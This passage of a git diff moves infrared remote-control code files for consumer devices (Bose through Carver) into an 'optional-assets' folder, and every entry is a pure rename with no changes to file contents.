a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/System/186,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir 